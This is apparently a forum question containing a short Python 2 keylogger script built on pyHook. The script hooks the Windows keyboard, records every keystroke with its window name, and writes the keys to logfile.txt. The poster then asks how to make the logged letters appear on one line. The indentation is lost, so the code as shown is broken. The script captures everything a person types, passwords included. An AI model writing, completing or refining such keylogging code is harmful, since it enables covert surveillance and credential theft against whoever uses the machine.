import pythoncom, pyHook, logging, string
LOG_FILENAME = 'logfile.txt'
def OnKeyboardEvent(event):
print 'MessageName:',event.MessageName
print 'Time:',event.Time
print 'WindowName:',event.WindowName
print 'Ascii:', event.Ascii, chr(event.Ascii)
print 'Key:', event.Key
print '---'
k = event.Key
logging.basicConfig(filename=LOG_FILENAME,level=logging.DEBUG,
format='%(message)s')
logging.debug(k)
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
In the logfile.txt the message shows seperate letters on different lines, how can I make it show the message on the same line?